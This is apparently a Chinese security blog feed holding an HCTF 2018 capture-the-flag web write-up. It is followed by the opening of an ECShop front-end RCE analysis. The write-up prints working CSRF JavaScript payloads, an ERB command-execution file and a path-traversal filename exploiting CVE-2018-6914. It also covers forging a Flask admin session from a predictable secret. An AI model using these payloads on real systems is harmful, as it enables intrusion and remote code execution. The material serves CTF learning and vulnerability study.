<p>按部就班读取项目文件 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py<br>得到<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask,session,render_template,redirect, url_for, escape, request,Response</span><br><span class="line"><span class="keyword">import</span> uuid</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> flag</span><br><span class="line"><span class="keyword">from</span> werkzeug.utils <span class="keyword">import</span> secure_filename</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">'SECRET_KEY'</span>] = str(random.random()*<span class="number">100</span>)</span><br><span class="line">app.config[<span class="string">'UPLOAD_FOLDER'</span>] = <span class="string">'./uploads'</span></span><br><span class="line">app.config[<span class="string">'MAX_CONTENT_LENGTH'</span>] = <span class="number">100</span> * <span class="number">1024</span></span><br><span class="line">ALLOWED_EXTENSIONS = set([<span class="string">'zip'</span>])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">allowed_file</span><span class="params">(filename)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">'.'</span> <span class="keyword">in</span> filename <span class="keyword">and</span> \</span><br><span class="line"> filename.rsplit(<span class="string">'.'</span>, <span class="number">1</span>)[<span class="number">1</span>].lower() <span class="keyword">in</span> ALLOWED_EXTENSIONS</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/', methods=['GET'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span><span class="params">()</span>:</span></span><br><span class="line"> error = request.args.get(<span class="string">'error'</span>, <span class="string">''</span>)</span><br><span class="line"> <span class="keyword">if</span>(error == <span class="string">'1'</span>):</span><br><span class="line"> session.pop(<span class="string">'username'</span>, <span class="literal">None</span>)</span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">'index.html'</span>, forbidden=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'username'</span> <span class="keyword">in</span> session:</span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">'index.html'</span>, user=session[<span class="string">'username'</span>], flag=flag.flag)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">'index.html'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/login', methods=['POST'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span><span class="params">()</span>:</span></span><br><span class="line"> username=request.form[<span class="string">'username'</span>]</span><br><span class="line"> password=request.form[<span class="string">'password'</span>]</span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'POST'</span> <span class="keyword">and</span> username != <span class="string">''</span> <span class="keyword">and</span> password != <span class="string">''</span>:</span><br><span class="line"> <span class="keyword">if</span>(username == <span class="string">'admin'</span>):</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>,error=<span class="number">1</span>))</span><br><span class="line"> session[<span class="string">'username'</span>] = username</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/logout', methods=['GET'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">logout</span><span class="params">()</span>:</span></span><br><span class="line"> session.pop(<span class="string">'username'</span>, <span class="literal">None</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/upload', methods=['POST'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upload_file</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'the_file'</span> <span class="keyword">not</span> <span class="keyword">in</span> request.files:</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>))</span><br><span class="line"> file = request.files[<span class="string">'the_file'</span>]</span><br><span class="line"> <span class="keyword">if</span> file.filename == <span class="string">''</span>:</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>))</span><br><span class="line"> <span class="keyword">if</span> file <span class="keyword">and</span> allowed_file(file.filename):</span><br><span class="line"> filename = secure_filename(file.filename)</span><br><span class="line"> file_save_path = os.path.join(app.config[<span class="string">'UPLOAD_FOLDER'</span>], filename)</span><br><span class="line"> <span class="keyword">if</span>(os.path.exists(file_save_path)):</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'This file already exists'</span></span><br><span class="line"> file.save(file_save_path)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'This file is not a zipfile'</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> extract_path = file_save_path + <span class="string">'_'</span></span><br><span class="line"> os.system(<span class="string">'unzip -n '</span> + file_save_path + <span class="string">' -d '</span>+ extract_path)</span><br><span class="line"> read_obj = os.popen(<span class="string">'cat '</span> + extract_path + <span class="string">'/*'</span>)</span><br><span class="line"> file = read_obj.read()</span><br><span class="line"> read_obj.close()</span><br><span class="line"> os.system(<span class="string">'rm -rf '</span> + extract_path)</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> file = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"> os.remove(file_save_path)</span><br><span class="line"> <span class="keyword">if</span>(file != <span class="literal">None</span>):</span><br><span class="line"> <span class="keyword">if</span>(file.find(base64.b64decode(<span class="string">'aGN0Zg=='</span>).decode(<span class="string">'utf-8'</span>)) != <span class="number">-1</span>):</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>, error=<span class="number">1</span>))</span><br><span class="line"> <span class="keyword">return</span> Response(file)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="comment">#app.run(debug=True)</span></span><br><span class="line"> app.run(host=<span class="string">'127.0.0.1'</span>, debug=<span class="literal">True</span>, port=<span class="number">10008</span>)</span><br></pre></td></tr></table></figure></p>
<p>因为有这段<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(file.find(base64.b64decode(<span class="string">'aGN0Zg=='</span>).decode(<span class="string">'utf-8'</span>)) != <span class="number">-1</span>):</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>, error=<span class="number">1</span>))</span><br></pre></td></tr></table></figure><br>如果文件里有hctf就返回主页<br>所以不能直接读flag.py,也没有flag.pyc<br>后面读index.html发现admin用户登录就能看到flag<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> {% if user == 'admin' %}</span><br><span class="line"> Your flag: <br></span><br><span class="line"> {{ flag }}</span><br></pre></td></tr></table></figure><br>想到要读secret,伪造admin的session,发现代码里的secret是伪随机的<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">'SECRET_KEY'</span>] = str(random.random()*<span class="number">100</span>)</span><br></pre></td></tr></table></figure><br>随机数种子固定为mac地址,读取 /sys/class/net/eth0/address 可以得到<br>然后带入seed,本地跑一下,登陆admin拿到cookie,再放到网站上就能看到flag了<br><img src="/img/2018-hctf-12.png" alt=""></p>
<h2 id="share"><a href="#share" class="headerlink" title="share"></a>share</h2><p>打开题目,主页翻译一下可以得到这些信息</p>
<p><img src="/img/2018-hctf-1.png" alt=""><br>是个让用户分享应用的网站,并且管理员可以把应用推给某个用户</p>
<p>/Alphatest可以看到一个filenumber 和自己的uid</p>
<p><img src="/img/2018-hctf-2.png" alt=""></p>
<p>/share 可以分享东西给管理员,猜测存在xss,context框传了个段xss代码,发现能接收到admin的请求,bot是PhantomJS/2.1.1,说明能执行js,但是开了httponly打不到cookie,猜测是要CSRF,url框传的东西好像没啥用</p>
<p><img src="/img/2018-hctf-3.png" alt=""></p>
<p>根据主页提示可能有源码泄漏,在robots.txt 看到了三个接口的代码</p>
<figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">/* this terrible code *<span class="regexp">/</span></span><br><span class="line"><span class="regexp">class FileController < ApplicationController</span></span><br><span class="line"><span class="regexp"> before_action :authenticate_user!</span></span><br><span class="line"><span class="regexp"> before_action :authenticate_role</span></span><br><span class="line"><span class="regexp"> before_action :authenticate_admin</span></span><br><span class="line"><span class="regexp"> protect_from_forgery :except => [:upload , :share_people_test]</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp"># post /file</span><span class="regexp">/upload</span></span><br><span class="line"><span class="regexp"> def upload</span></span><br><span class="line"><span class="regexp"> if(params[:file][:myfile] != nil && params[:file][:myfile] != "")</span></span><br><span class="line"><span class="regexp"> file = params[:file][:myfile]</span></span><br><span class="line"><span class="regexp"> name = Base64.decode64(file.original_filename)</span></span><br><span class="line"><span class="regexp"> ext = name.split('.')[-1]</span></span><br><span class="line"><span class="regexp"> if ext == name || ext ==nil</span></span><br><span class="line"><span class="regexp"> ext=""</span></span><br><span class="line"><span class="regexp"> end</span></span><br><span class="line"><span class="regexp"> share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public</span><span class="regexp">/upload")</span></span><br><span class="line"><span class="regexp"> share.write(Base64.decode64(file.read))</span></span><br><span class="line"><span class="regexp"> share.close</span></span><br><span class="line"><span class="regexp"> File.rename(share.path,share.path+"."+ext)</span></span><br><span class="line"><span class="regexp"> tmp = Sharefile.new</span></span><br><span class="line"><span class="regexp"> tmp.public = 0</span></span><br><span class="line"><span class="regexp"> tmp.path = share.path</span></span><br><span class="line"><span class="regexp"> tmp.name = name</span></span><br><span class="line"><span class="regexp"> tmp.tempname= share.path.split('/</span><span class="string">')[-1]+"."+ext</span></span><br><span class="line"><span class="string"> tmp.context = params[:file][:context]</span></span><br><span class="line"><span class="string"> tmp.save</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> redirect_to root_path</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># post /file/Alpha_test</span></span><br><span class="line"><span class="string"> def Alpha_test</span></span><br><span class="line"><span class="string"> if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)</span></span><br><span class="line"><span class="string"> fid = params[:fid].to_i</span></span><br><span class="line"><span class="string"> uid = params[:uid].to_i</span></span><br><span class="line"><span class="string"> if(fid > 0 && uid > 0)</span></span><br><span class="line"><span class="string"> if(Sharelist.find_by(sharefile_id: fid)==nil)</span></span><br><span class="line"><span class="string"> if(Sharelist.count("user_id = ?", uid.to_s) <5)</span></span><br><span class="line"><span class="string"> share = Sharelist.new</span></span><br><span class="line"><span class="string"> share.sharefile_id = fid</span></span><br><span class="line"><span class="string"> share.user_id = uid</span></span><br><span class="line"><span class="string"> share.save</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> redirect_to(root_path)</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> def share_file_to_all</span></span><br><span class="line"><span class="string"> file = Sharefile.find(params[:fid])</span></span><br><span class="line"><span class="string"> File.rename(file.path,Rails.root+"/public/download/"+file.name)</span></span><br><span class="line"><span class="string"> file.public = true</span></span><br><span class="line"><span class="string"> file.path = Rails.root+"/public/download/"+file.name</span></span><br><span class="line"><span class="string"> file.save</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">end</span></span><br></pre></td></tr></table></figure>
<p>分析一下这段代码,<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">before_action :authenticate_user!</span><br><span class="line">before_action :authenticate_role</span><br><span class="line">before_action :authenticate_admin</span><br></pre></td></tr></table></figure><br>首先三个接口都是管理员才能调用</p>
<p>第一个接口/file/upload 能够上传文件<br>第二个接口/file/Alpha_test 能够分配一个文件给一个用户<br>第三个是把文件公开,但是没有提供外部调用路由</p>
<p>后面 hint1给了文件结构<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">views</span><br><span class="line">|-- devise</span><br><span class="line">| |-- confirmations</span><br><span class="line">| |-- mailer</span><br><span class="line">| |-- passwords</span><br><span class="line">| |-- registrations</span><br><span class="line">| | `-- new.html.erb</span><br><span class="line">| |-- sessions</span><br><span class="line">| | `-- new.html.erb</span><br><span class="line">| |-- shared</span><br><span class="line">| `-- unlocks</span><br><span class="line">|-- file</span><br><span class="line">|-- home</span><br><span class="line">| |-- Alphatest.erb</span><br><span class="line">| |-- addtest.erb</span><br><span class="line">| |-- home.erb</span><br><span class="line">| |-- index.html.erb</span><br><span class="line">| |-- publiclist.erb</span><br><span class="line">| |-- share.erb</span><br><span class="line">| `-- upload.erb</span><br><span class="line">|-- layouts</span><br><span class="line">| |-- application.html.erb</span><br><span class="line">| |-- mailer.html.erb</span><br><span class="line">| `-- mailer.text.erb</span><br><span class="line">`-- recommend</span><br><span class="line"> `-- show.erb</span><br></pre></td></tr></table></figure></p>
<p>hint2给了一个主页的代码<br><code><%= render template: "home/"+params[:page] %></code><br>参考<a href="http://blog.neargle.com/SecNewsBak/drops/Ruby%20on%20Rails%20%E5%8A%A8%E6%80%81%E6%B8%B2%E6%9F%93%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20%28CVE.html" target="_blank" rel="noopener">这篇文章</a><br>尝试跨目录包含文件失败,应该是只能包含home目录下的文件</p>
<p>hint3给了ruby版本2.5.0<br>通过查找ruby版本号,结合robots代码,主页代码和目录结构,可以确定要利用的是这个CVE:<br>CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir<br>大概意思就是在Tempfile 创建文件时如果传入(../)就能创建任意目录或文件<br>想到可以传个文件到home下,结合主页的文件包含,即可RCE</p>
<p>整个思路就很清晰了:</p>
<ol>
<li>CSRF 让admin调用/file/upload 接口上传带有恶意文件名的文件</li>
<li>Tmpfile漏洞使得文件生成在/views/home/目录下,但是新生成的文件名有部分是随机的</li>
<li>CSRF 调用/file/Alpha_test 接口把文件分配到自己的id下,在/Alphatest拿到生成的文件名</li>
<li>主页文件包含,RCE</li>
</ol>
<p>于是开始了艰难的构造payload<br>最后上传的payload如下:<br><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> <span class="attr">src</span>=<span class="string">"http://code.jquery.com/jquery-1.11.1.min.js"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span></span><br><span class="line"><span class="actionscript"><span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">(i)</span> </span>{</span></span><br><span class="line"><span class="javascript"><span class="keyword">var</span> test=$(<span class="string">'meta'</span>).eq(<span class="number">1</span>).attr(<span class="string">"content"</span>);</span></span><br><span class="line"><span class="actionscript"><span class="keyword">var</span> url=<span class="string">"/file/upload"</span>;</span></span><br><span class="line"><span class="actionscript"> <span class="keyword">var</span> data=<span class="string">"-----------------------------13025814701038468772945051835\x0d\x0a\</span></span></span><br><span class="line">Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvZGUxdGF4aXNoaXIuZXJic3MuZXJi\"\x0d\x0a\</span><br><span class="line">Content-Type: application/text\x0d\x0a\</span><br><span class="line">\x0d\x0a\</span><br><span class="line">PCU9IGBjYXQgL2ZsYWdgICU+\x0d\x0a\</span><br><span class="line">-----------------------------13025814701038468772945051835\x0d\x0a\</span><br><span class="line">Content-Disposition: form-data; name=\"file[context]\"\x0d\x0a\</span><br><span class="line">\x0d\x0a\</span><br><span class="line">de1ta\x0d\x0a\</span><br><span class="line">-----------------------------13025814701038468772945051835\x0d\x0a\</span><br><span class="line">Content-Disposition: form-data; name=\"authenticity_token\"\x0d\x0a\</span><br><span class="line">\x0d\x0a\</span><br><span class="line"><span class="actionscript"><span class="string">"+test+"</span>\x0d\x0a\</span></span><br><span class="line">-----------------------------13025814701038468772945051835\x0d\x0a\</span><br><span class="line">Content-Disposition: form-data; name=\"commit\"\x0d\x0a\</span><br><span class="line">\x0d\x0a\</span><br><span class="line">submit\x0d\x0a\</span><br><span class="line">-----------------------------13025814701038468772945051835\x0d\x0a\</span><br><span class="line">Content-Disposition: form-data; name=\"utf8\"\x0d\x0a\</span><br><span class="line">\x0d\x0a\</span><br><span class="line">✓\x0d\x0a\</span><br><span class="line">-----------------------------13025814701038468772945051835--";</span><br><span class="line"><span class="javascript"> $.ajax({</span></span><br><span class="line"> url: url,</span><br><span class="line"><span class="actionscript"> type:<span class="string">"POST"</span>,</span></span><br><span class="line"> headers: {</span><br><span class="line"><span class="actionscript"> <span class="string">"Content-Type"</span>: <span class="string">"multipart/form-data; boundary=---------------------------13025814701038468772945051835"</span>,</span></span><br><span class="line"><span class="actionscript"> <span class="string">"Upgrade-Insecure-Requests"</span>:<span class="string">"1"</span></span></span><br><span class="line"> },</span><br><span class="line"> data:data,</span><br><span class="line"><span class="actionscript"> contentType:<span class="literal">false</span>,</span></span><br><span class="line"><span class="actionscript"> success:<span class="function"><span class="keyword">function</span><span class="params">(res)</span></span>{</span></span><br><span class="line"> },</span><br><span class="line"><span class="actionscript"> error:<span class="function"><span class="keyword">function</span><span class="params">(err)</span></span>{</span></span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"><span class="actionscript"> <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">1</span>;i<<span class="number">2</span>;i++)</span></span><br><span class="line"> {</span><br><span class="line"> upload(i);</span><br><span class="line"> }</span><br><span class="line"><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><br>文件内容为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><%= `cat /flag` %></span><br></pre></td></tr></table></figure><br>文件名为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">../../app/views/home/de1taxishir.erbss.erb</span><br></pre></td></tr></table></figure></p>
<p>推送文件到我的uid下的代码为:<br><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> <span class="attr">src</span>=<span class="string">"http://code.jquery.com/jquery-1.11.1.min.js"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span></span><br><span class="line"><span class="actionscript"><span class="function"><span class="keyword">function</span> <span class="title">go</span><span class="params">(fffid)</span></span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> test=$(<span class="string">'meta'</span>).eq(<span class="number">1</span>).attr(<span class="string">"content"</span>);</span></span><br><span class="line"><span class="javascript"> <span class="built_in">console</span>.log(test);</span></span><br><span class="line"><span class="actionscript"> <span class="keyword">var</span> params = {utf8:<span class="string">"\xE2\x9C\x93"</span>,authenticity_token:test,uid:<span class="number">2</span>,fid:fffid,commit:<span class="string">"submit"</span>};</span></span><br><span class="line"><span class="actionscript"> <span class="keyword">var</span> url = <span class="string">'/file/Alpha_test'</span>;</span></span><br><span class="line"><span class="javascript">$.ajax({</span></span><br><span class="line"> url : url,</span><br><span class="line"><span class="actionscript"> type : <span class="string">"POST"</span>,</span></span><br><span class="line"> data : params,</span><br><span class="line"><span class="actionscript"> success : <span class="function"><span class="keyword">function</span><span class="params">(result)</span> </span>{</span></span><br><span class="line"> },</span><br><span class="line"><span class="actionscript"> error:<span class="function"><span class="keyword">function</span><span class="params">(result)</span></span>{</span></span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="actionscript"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">1</span>;i<<span class="number">20</span>;i+=<span class="number">1</span>){</span></span><br><span class="line"> go(i);</span><br><span class="line">}</span><br><span class="line"><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><br>这里因为不知道文件id是多少,只能根据前面的filenumber来爆破一下,所以写了个for循环<br>最后上传上去并获取文件名后,在主页进行文件包含执行命令,读取flag</p>
<p><img src="/img/2018-hctf-4.png" alt=""></p>
<p>ps:这道题有个搅💩bug,利用推文件给用户接口,无限暴力推fid到自己的uid下,就能看到别人上传的文件,并且别人就不知道他的文件名是啥了</p>
<p>还有就是js构造一个文件上传太坑了,一开始用new File,一直失败,后面发现是PhantomJS不支持这个h5的类好像,于是硬生生写了个multipart/form-data 出来</p>
<blockquote>
<p>flag:hctf{8f4c57063ddb7b106e03e25f7d1bb813}</p>
</blockquote>
<h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>还是学到了很多知识,尤其是share这道题,最后给杭电的出题和运维师傅们递茶,给队友们递茶!</p>
]]></content>
<summary type="html">
<p>周末肝了两天HCTF,感谢队友们带飞,这里记录一下做的WEB题<br>顺便打个小广告:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=</p>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="WEB" scheme="https://www.codemonster.cn/tags/WEB/"/>
</entry>
<entry>
<title>ECShop前台RCE漏洞分析</title>
<link href="https://www.codemonster.cn/2018/09/10/2018-ecshop-rce-analyse/"/>
<id>https://www.codemonster.cn/2018/09/10/2018-ecshop-rce-analyse/</id>
<published>2018-09-10T05:11:58.000Z</published>
<updated>2018-09-10T12:06:49.000Z</updated>
<content type="html"><![CDATA[<h2 id="0x00前言"><a href="#0x00前言" class="headerlink" title="0x00前言"></a>0x00前言</h2><p>前几天出了个<code>ECShop<= 2.7.x/3.6.x</code>前台RCE,实训太无聊了来分析一波<br><a id="more"></a></p>
<h2 id="0x01环境搭建"><a href="#0x01环境搭建" class="headerlink" title="0x01环境搭建"></a>0x01环境搭建</h2><ul>
<li><a href="http://download.ecshop.com/2.7.3/ECShop_V2.7.3_UTF8_release1106.rar" target="_blank" rel="noopener">ECShop_V2.7.3</a></li>
<li>nginx</li>
<li>php</li>
</ul>
<h2 id="0x02漏洞原理"><a href="#0x02漏洞原理" class="headerlink" title="0x02漏洞原理"></a>0x02漏洞原理</h2><p>漏洞的触发点在/user.php:301,可以看到代码逻辑做了个判断,如果http头部的referer不包含<code>user.php</code>,就将referer赋值给<code>$back_act</code> </p>
<p><img src="/img/2018-ecshop-rce-1.png" alt=""> </p>
<p>接下来第325行以$back_act的值为参数,传入<code>assign</code>方法,该方法的作用是注册变量,将可控变量传递给模板对象,接着使用display方法就能将这个模板渲染出来,来看一下<code>display</code>方法的具体实现(/includes/cls_template.php:100) </p>
<p><img src="/img/2018-ecshop-rce-2.png" alt=""> </p>
